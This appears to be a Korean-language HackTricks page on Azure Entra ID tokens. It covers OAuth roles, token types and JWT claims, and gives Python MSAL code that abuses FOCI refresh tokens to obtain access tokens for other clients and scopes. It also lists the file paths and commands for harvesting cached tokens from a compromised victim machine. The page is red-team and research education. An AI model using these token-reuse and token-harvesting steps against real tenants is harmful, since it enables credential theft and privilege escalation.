Az - 토큰 및 공개 애플리케이션
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Entra ID는 Microsoft의 클라우드 기반 identity and access management(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스의 기본 인증(authentication) 및 권한 부여(authorization) 시스템 역할을 합니다. Azure AD는 리소스 액세스 관리를 위해 OAuth 2.0 authorization framework와 OpenID Connect (OIDC) authentication protocol을 구현합니다.
OAuth
OAuth 2.0의 주요 참여자:
- Resource Server (RS): Resource Owner가 소유한 리소스를 보호합니다.
- Resource Owner (RO): 일반적으로 보호된 리소스를 소유한 최종 사용자입니다.
- Client Application (CA): Resource Owner를 대신하여 리소스에 접근하려는 애플리케이션입니다.
- Authorization Server (AS): 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 access token을 발급합니다.
Scopes 및 Consent:
- Scopes: 리소스 서버에 정의된 세분화된 권한으로, 액세스 수준을 지정합니다.
- Consent: Resource Owner가 특정 scopes로 애플리케이션에 리소스 접근 권한을 부여하는 과정입니다.
Microsoft 365 통합:
- Microsoft 365는 IAM으로 Azure AD를 사용하며 여러 개의 “first-party” OAuth 애플리케이션들로 구성됩니다.
- 이러한 애플리케이션들은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다.
- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션들에 대해 “implied consent” 또는 “pre-consent“를 부여합니다.
- Implied Consent: 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 접근이 자동으로 허용됩니다.
- 이러한 사전 동의된 scopes는 일반적인 관리 인터페이스에서는 숨겨져 있어 사용자와 관리자에게 덜 가시적입니다.
클라이언트 애플리케이션 유형:
- Confidential Clients:
- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다.
- Authorization Server에 대해 안전하게 스스로 인증할 수 있습니다.
- Public Clients:
- 고유한 자격증명이 없습니다.
- Authorization Server에 대해 안전하게 인증할 수 없습니다.
- 보안 영향: Authorization Server가 애플리케이션의 정당성을 검증할 수 있는 메커니즘이 없기 때문에 공격자는 토큰을 요청할 때 public client 애플리케이션을 가장할 수 있습니다.
인증 토큰
OIDC에서 사용되는 토큰 유형은 세 가지입니다:
-
Access Tokens: 클라이언트가 리소스에 접근하기 위해 리소스 서버에 제시하는 토큰입니다. 특정 사용자, 클라이언트 및 리소스의 조합에만 사용할 수 있으며 기본적으로 만료될 때까지(기본값 1시간) 취소(revoke)할 수 없습니다.
-
ID Tokens: 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자와 클라이언트의 조합에 바인딩됩니다.
-
Refresh Tokens: 클라이언트에게 access token과 함께 제공됩니다. 새로운 access 및 ID 토큰을 얻는 데 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 기본 만료 기간은 비활성 refresh token의 경우 90일이며, 활성 토큰의 경우 만료 없음(refresh token으로부터 새로운 refresh token을 얻을 수 있음).
-
refresh token은 특정
aud, 일부 scopes, 그리고 tenant에 연결되어야 하며, 해당 aud와 scopes(및 그 이상은 아님) 및 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 FOCI applications tokens의 경우 이는 적용되지 않습니다. -
refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다.
-
새로운 refresh token을 얻는다고 해서 이전 refresh token이 취소되지는 않습니다.
Warning
conditional access에 대한 정보는 JWT 내부에 저장됩니다. 따라서 허용된 IP 주소에서 토큰을 요청하면 해당 IP가 토큰에 저장되고, 이후 그 토큰을 비허용 IP에서 사용하여 리소스에 접근할 수 있습니다.
Access Tokens “aud”
“aud” 필드에 표시된 값은 로그인을 수행하는 데 사용된 resource server(애플리케이션) 입니다.
명령어 az account get-access-token --resource-type [...]는 다음 타입들을 지원하며, 각 타입은 결과 access token에 특정 “aud“를 추가합니다:
Caution
다음은
az account get-access-token에서 지원하는 API의 예시일 뿐이며, 더 많은 API가 존재합니다.
aud examples
- aad-graph (Azure Active Directory Graph API): 레거시 Azure AD Graph API(deprecated)에 접근하는 데 사용됩니다. 애플리케이션이 Azure Active Directory(Azure AD)의 디렉터리 데이터를 읽고 쓸 수 있게 합니다.
https://graph.windows.net/
- arm (Azure Resource Manager): Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다.
-
https://management.core.windows.net/ or https://management.azure.com/ -
batch (Azure Batch Services): 대규모 병렬 및 고성능 컴퓨팅 애플리케이션을 효율적으로 클라우드에서 실행할 수 있게 하는 Azure Batch에 접근하는 데 사용됩니다.
-
https://batch.core.windows.net/
- data-lake (Azure Data Lake Storage): Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다. 이는 확장 가능한 데이터 저장 및 분석 서비스입니다.
-
https://datalake.azure.net/ -
media (Azure Media Services): 비디오 및 오디오 콘텐츠에 대해 클라우드 기반 미디어 처리 및 전송 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다.
-
https://rest.media.azure.net
- ms-graph (Microsoft Graph API): Microsoft 365 서비스 데이터를 위한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility, Security 서비스 등에서 데이터와 인사이트에 접근할 수 있습니다.
-
https://graph.microsoft.com -
oss-rdbms (Azure Open Source Relational Databases): MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다.
-
https://ossrdbms-aad.database.windows.net
Access Tokens Scopes “scp”
access token의 scope은 access token JWT 내부의 scp 키에 저장됩니다. 이러한 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다.
JWT가 특정 API에 연락할 수 있도록 허용되어 있지만 요청된 작업을 수행할 scope가 없다면, 해당 JWT로는 그 작업을 수행할 수 없습니다.
Refresh 및 Access 토큰 예제
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
기타 access token 필드
- appid: 토큰을 생성하는 데 사용된 Application ID
- appidacr: Application Authentication Context Class Reference는 클라이언트가 어떻게 인증되었는지를 나타냅니다. public client의 경우 값은 0이고, client secret이 사용된 경우 값은 1입니다.
- acr: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요구사항을 충족하지 못한 경우 “0“입니다.
- amr: Authentication method는 토큰이 어떻게 인증되었는지를 나타냅니다. 값이 “pwd”이면 비밀번호가 사용되었음을 의미합니다.
- groups: 주체(principal)가 속한 그룹을 나타냅니다.
- iss: issues는 토큰을 생성한 보안 토큰 서비스(security token service, STS)를 식별합니다. 예: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- oid: 주체(principal)의 object ID
- tid: Tenant ID
- iat, nbf, exp: Issued at(발급 시), Not before(이 시간 이전에는 사용할 수 없음 — 보통 iat와 동일한 값), Expiration time(만료 시각).
FOCI Tokens 권한 상승
이전에는 refresh tokens가 생성될 때 사용된 scopes, 생성된 application, 그리고 생성된 tenant에 묶여야 한다고 언급했습니다. 이러한 경계 중 어느 하나라도 깨지면, 사용자가 액세스할 수 있는 다른 리소스 및 tenant에 대해 원래 의도보다 더 많은 scopes를 가진 access tokens를 생성할 수 있게 되어 권한 상승이 발생할 수 있습니다.
또한, Microsoft identity platform의 모든 refresh tokens에 대해 이것이 가능합니다( Microsoft Entra accounts, Microsoft personal accounts, 그리고 Facebook 및 Google과 같은 social accounts 포함). docs에서는 다음과 같이 언급합니다: “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”
또한 FOCI applications는 public applications이므로 서버에 인증할 때 no secret is needed 합니다.
보고된 알려진 FOCI clients는 original research에 보고되어 있으며, found here에서 확인할 수 있습니다.
다른 scope 요청하기
이전 예제 코드와 이어서, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다:
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
다른 클라이언트 및 스코프 가져오기
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
토큰을 찾을 수 있는 위치
공격자 관점에서, 예를 들어 피해자 PC가 침해되었을 경우 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 중요합니다:
<HOME>/.Azure안- **
azureProfile.json**에는 과거에 로그인한 사용자에 대한 정보가 포함되어 있습니다 - **
clouds.config contains**는 구독에 대한 정보를 포함합니다 - **
service_principal_entries.json**에는 애플리케이션 자격증명(tenant id, clients and secret)이 들어 있습니다. Linux 및 macOS에서만 - **
msal_token_cache.json**에는 access tokens와 refresh tokens가 들어 있습니다. Linux 및 macOS에서만 - **
service_principal_entries.bin**과 msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화되어 있습니다 - **
msal_http_cache.bin**은 HTTP 요청 캐시입니다 - 로드:
with open("msal_http_cache.bin", 'rb') as f: pickle.load(f) - **
AzureRmContext.json**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 들어 있지만 자격증명은 포함되어 있지 않습니다 C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*안에는 사용자 DPAPI로 암호화된 여러.bin파일들이 있으며, 여기에는 access tokens, ID tokens 및 계정 정보가 들어 있습니다C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\안의.tbres파일들에서 base64로 인코딩되어 DPAPI로 암호화된 access tokens를 더 찾을 수 있습니다- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"을 실행하면 access tokens, refresh tokens and id tokens를 얻을 수 있습니다 - Windows에서는 이것이 id tokens만 생성합니다
- Linux 및 macSO에서 Az PowerShell 사용 여부는
$HOME/.local/share/.IdentityService/의 존재 여부로 확인할 수 있습니다(단, 내부 파일들은 비어 있어 쓸모없습니다) - 사용자가 브라우저로 Azure에 로그인한 상태라면, 이 post에 따르면 인증 플로우를 redirect to localhost로 시작해 브라우저가 자동으로 로그인을 승인하게 만들고 refresh token을 받을 수 있습니다. 단, localhost로 리디렉트가 허용되는 FOCI 애플리케이션(예: az cli나 powershell module)은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 합니다
- 블로그에서 설명된 다른 방법은 도구 BOF-entra-authcode-flow를 사용하는 것이며, 이 도구는 어떤 애플리케이션이든 사용할 수 있습니다. 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 refresh token을 가져오는 방식이며 redirect URI로
https://login.microsoftonline.com/common/oauth2/nativeclient를 사용합니다
참고자료
- https://github.com/secureworks/family-of-client-ids-research
- https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

